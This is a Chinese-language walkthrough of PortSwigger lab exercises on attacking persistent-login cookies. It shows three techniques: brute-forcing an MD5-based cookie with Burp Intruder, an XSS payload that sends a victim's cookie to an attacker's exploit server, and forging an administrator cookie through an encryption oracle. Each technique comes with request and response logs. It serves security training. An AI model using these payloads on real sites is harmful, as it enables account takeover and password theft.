保持登入狀態是一個常見的功能,這表示在使用者關閉瀏覽器工作階段後也可以保持登入狀態,常見做法是將token儲存在cookie中。
一些網站根據可預測的靜態值串聯(例如使用者名稱和時間戳記)產生此 cookie。有些甚至使用密碼作為 cookie 的一部分。攻擊者一旦研究這些cookie並成功推斷它是如何產生的,就可以嘗試以暴力破解其他使用者的cookie來存取他們的帳戶
常見的情境有以下兩種
- 可爆力破解cookie密碼
- 偷cookie取得密碼
- 推理cookie加解密方式
爆力破解cookie密碼
password編碼存在cookie
被發現,可以透過爆力破解猜密碼
舉例如下
某網站cookie
內的Stay-logged-in
,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter
由此可知格式為base64(username+’:’+md5(Password)),因此可以根據此格式進行爆力密碼破解
假如攻擊目標是carlos,可將帶有Stay logged in
的請求送到Burp Intruder
,並依照以下配置設定爆力破解
payload type: simple list
, 貼上字典檔內容
payloads:Payload processing
區域, 按以下順序增加
Hash: MD5
Add prefix: carlos :
Encode: Base64-encode
發動爆破後,如果看到返回的內容特別長,表示己成功猜到密碼
Lab: Brute-forcing a stay-logged-in cookie
偷cookie取得密碼
password加密方式存在cookie被發現,只要偷到cookie就能知道password
舉例如下
某網站cookie
中Stay-logged-in
,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter
由此可知格式為base64(username+’:’+md5(Password)),因此拿到此cookie就能知道帳號密碼
由於該網站的comment有xss漏洞,因此可插入以下語法
<script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>
當受害者訪問到該comment時,就會觸發xss將自己的cookie送到攻擊者主機
攻擊者主機的日志會顯示如下內容
172.31.31.164 2023-09--09 16:40:30 +0000 "GET /secret=eaafj32089ahplihf3804;%20stay-logged-in=eF94mmV7230dy457eOqwfm HTTP/1.1"
將stay-logged-in
內容用base64解碼後後得到carlos:26323c16d5f4dabff3bb136f2460a943
在把md5字串26323c16d5f4dabff3bb136f2460a943拿去md5線上查詢網站查就可得到密碼onceuponatime
Lab: Offline password cracking
推理cookie加解密方式
有些網站在設計的時候沒有注意到對token的加解密方式,在其他功能也會使用,因此可以利用其他功能去解密token,因此可透過推理token加解密方式繞過認證機制
1.觀察可加解密的功能
留言時的/post/comment 可加密
########### request ###########
POST /post/comment
...omit...email=Invalid-email
############ response ###########
Set-Cookie: notification=cipher-text(Invalid-email)
...omit...
留言時的/post?postId=1可解密Invalid-email-cipher-text
########### request ###########
GET /post?postId=1
cookie: notification=cipher-text(Invalid-email)
...omit...
############ response ###########
...omit...
Invalid email address:Invalid-email
...omit...
除此之外,留言時的/post?postId=1也可解密stay-logged-in-cookie
########### request ###########
GET /post?postId=1
cookie: notification=stay-logged-in-cookie
...omit...
############ response ###########
...omit...
wiener:1631253288302
...omit...
2.觀察stay-logged-in和email的加解密內容
測試留言時的/post/comment 可否加密administrator:1631253288302
########### request ###########
POST /post/comment
...omit...email=administrator:1631253288302
############ response ###########
Set-Cookie: notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
...omit...
測試留言時的/post?postId=1可否解密cipher-text(administrator:1631253288302)
########### request ###########
GET /post?postId=1
cookie: notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
...omit...
############ response ###########
...omit...
Invalid email address:administrator:1631253288302
...omit...
觀察比較發現,自己加解密多了Invalid email address:
,共有23個字符(含分號和空白),比較如下
使用/post/comment自己加密administrator:1631253288302
- Cookie內容
u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
- 解密返回
Invalid email address:administrator:1631253288302
原本stay-logged-in的cookie
- Cookie內容
ajCH8h4j9DGNrMKUj3nHUfVjeU%2fAYWNH92qvzHTSzMs%3d
- 解密返回
wiener:1631253288302
3.調整加密內容
對cookie進行urldecode後在做base64decode,在hex區域刪除23個byte後,做base64encode在做urlencode得到以下
kL2v8vvdti4TYbIKGveKG2Xd0JjFbsg7aB0bteBasYvA7HPoqaCrWGg%3D
嘗試用/post?postId=1解密,但返回錯誤訊息,因為是基於區塊加密法,所以輸入長度必須是16的倍數
########### request ###########
GET /post?postId=1
cookie: notification=kL2v8vvdti4TYbIKGveKG2Xd0JjFbsg7aB0bteBasYvA7HPoqaCrWGg%3D
...omit...
############ response ###########
...omit...
input length must be multiple of 16 when decrypting with padded cipher
...omit...
為了滿足16倍數,因此要administrator:1631253288302
前加9個字元
########### request ###########
POST /post/comment
...omit...email=xxxxxxxxxadministrator:1631253288302
############ response ###########
Set-Cookie: notification=u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d;
...omit...
可以比較和之前的不同之處,如下
- xxxxxxxxxadministrator:1631253288302加密後如下
u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d
- administrator:1631253288302加密後如下
u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
根據比較結果得知,做法應該是要對cookie進行urldecode後在做base64decode,在hex區域刪除32(23+9)個byte後,做base64encode在做urlencode,最後得到7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D
接著嘗試用/post?postId=1解密,成功返回預期結果administrator:1631253288302
,這表示偽造administrator的stay-logged-in-cookie成功
########### request ###########
GET /post?postId=1
cookie: notification=7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D
...omit...
############ response ###########
...omit...
administrator:1631253288302
...omit...
因此在請求時把cookie中的stay-logged-in換上7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D
,即可用administrator的身份訪問網站
Lab: Authentication bypass via encryption oracle